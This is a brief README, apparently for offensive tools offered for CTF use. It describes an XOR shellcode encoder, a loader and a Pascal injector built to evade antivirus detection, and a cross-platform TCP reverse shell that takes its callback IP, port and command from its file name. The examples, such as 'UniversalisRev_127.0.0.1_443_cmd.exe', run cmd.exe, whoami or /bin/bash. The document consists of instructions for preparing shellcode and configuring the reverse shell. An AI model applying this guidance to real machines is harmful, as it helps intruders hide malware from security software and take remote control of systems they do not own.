CTF Tools for Simple AV Evasion
Simple ShellCode Xor (NET Core 6.0)
Simple Xor ShellCode Loader (NET Core 6.0)
Simple Xor ShellCode Injector (Pascal)
Use Lazarus to compile.
Add $00 at the end of your shellcode.
Shellcode needs to be XORED.
Simple TcpReverser (NET Core 6.0) compatible with cross-compilation.
Inside there are two Publishing profiles (Windows x64 and Linux x64).
Should also be compatible with MacOS and ARM architecture (Not MacOS ARM).
Compile it for the operating system you need.
Usage:
Program will try to connect back based on its name.
You can specify the binary or the command to execute and send over Tcp by changing the last part of the name.
Examples:
UniversalisRev_127.0.0.1_443_cmd.exe
UniversalisRev_127.0.0.1_443_whoami.exe
UniversalisRev_127.0.0.1_443_-bin-bash